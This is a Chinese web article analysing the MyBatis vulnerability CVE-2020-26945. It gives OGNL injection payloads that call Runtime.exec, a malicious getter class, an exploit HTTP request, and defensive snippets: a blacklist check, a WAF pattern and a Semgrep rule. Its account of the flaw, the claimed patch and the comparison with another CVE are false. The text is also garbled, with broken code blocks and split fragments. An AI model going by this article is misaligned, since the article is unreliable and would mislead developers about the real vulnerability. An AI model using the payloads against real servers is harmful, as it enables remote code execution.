您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# MyBatis远程代码执行漏洞CVE-2020-26945的实例分析
## 漏洞概述
**CVE-2020-26945**是MyBatis框架中存在的一个高危远程代码执行(RCE)漏洞,于2020年11月公开披露。该漏洞源于MyBatis在解析OGNL表达式时未对用户输入进行充分过滤,攻击者可通过精心构造的恶意参数实现任意代码执行。
### 影响版本
- MyBatis 3.5.0 - 3.5.6
### 漏洞本质
OGNL(Object-Graph Navigation Language)表达式注入漏洞,与经典的Struts2漏洞类似。
---
## 漏洞原理深度解析
### 1. MyBatis中的动态SQL机制
MyBatis通过`<if>`, `<foreach>`等标签实现动态SQL拼接,底层使用OGNL表达式解析参数值。例如:
```xml
<select id="findUser" parameterType="String" resultType="User">
SELECT * FROM users WHERE name = #{name}
<if test="order != null">
ORDER BY ${order}
</if>
</select>
当使用${}
语法(直接文本替换)而非#{}
(预编译参数)时,用户输入会直接拼接到SQL语句中。在特定条件下,攻击者可注入OGNL表达式。
org.apache.ibatis.scripting.xmltags.TextSqlNode
org.apache.ibatis.scripting.xmltags.OgnlCache
攻击者可通过参数传递恶意OGNL表达式:
public class MaliciousParam {
private String property;
// 恶意getter方法
public String getProperty() {
return "@java.lang.Runtime@getRuntime().exec('calc.exe')";
}
}
<select id="vulnerableQuery" parameterType="map">
SELECT * FROM products
WHERE category = '${category}'
</select>
POST /queryProducts HTTP/1.1
Content-Type: application/json
{
"category": "'test' == @java.lang.Runtime@getRuntime().exec('open /System/Applications/Calculator.app')"
}
${category}
时触发OGNL计算Runtime.getRuntime().exec()
MyBatis 3.5.7版本通过以下方式修复:
1. 在OgnlCache
类中增加安全校验:
// 新增黑名单检测
if (value.contains("@java.lang.Runtime")) {
throw new BuilderException("Malicious OGNL expression detected");
}
#{}
预编译语法${}
时,进行严格白名单过滤:public String sanitizeInput(String input) {
if (!input.matches("[a-zA-Z0-9_]+")) {
throw new IllegalArgumentException("Invalid input");
}
return input;
}
<configuration>
<settings>
<setting name="defaultScriptingLanguage" value="safeLanguage"/>
</settings>
</configuration>
同属OGNL注入漏洞,但触发条件不同:
- CVE-2019-12458:通过<bind>
标签触发
- CVE-2020-26945:通过${}
表达式触发
${}
动态SQL语法通过反序列化链可扩大攻击范围:
// 结合Jackson反序列化
{
"@class": "MaliciousClass",
"payload": "恶意OGNL表达式"
}
防御层 | 具体措施 |
---|---|
框架层 | 升级MyBatis至3.5.7+ |
代码层 | 静态代码扫描(Semgrep规则示例) |
运维层 | WAF规则拦截@java.lang.Runtime 等模式 |
rules:
- id: mybatis-ognl-injection
pattern: |
<...>$${...}</...>
message: "Potential MyBatis OGNL injection"
severity: ERROR
该漏洞再次证明了”永远不要信任用户输入”这一安全基本原则的重要性。开发者应深入理解所用框架的安全机制,避免因便利性牺牲安全性。
”`
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。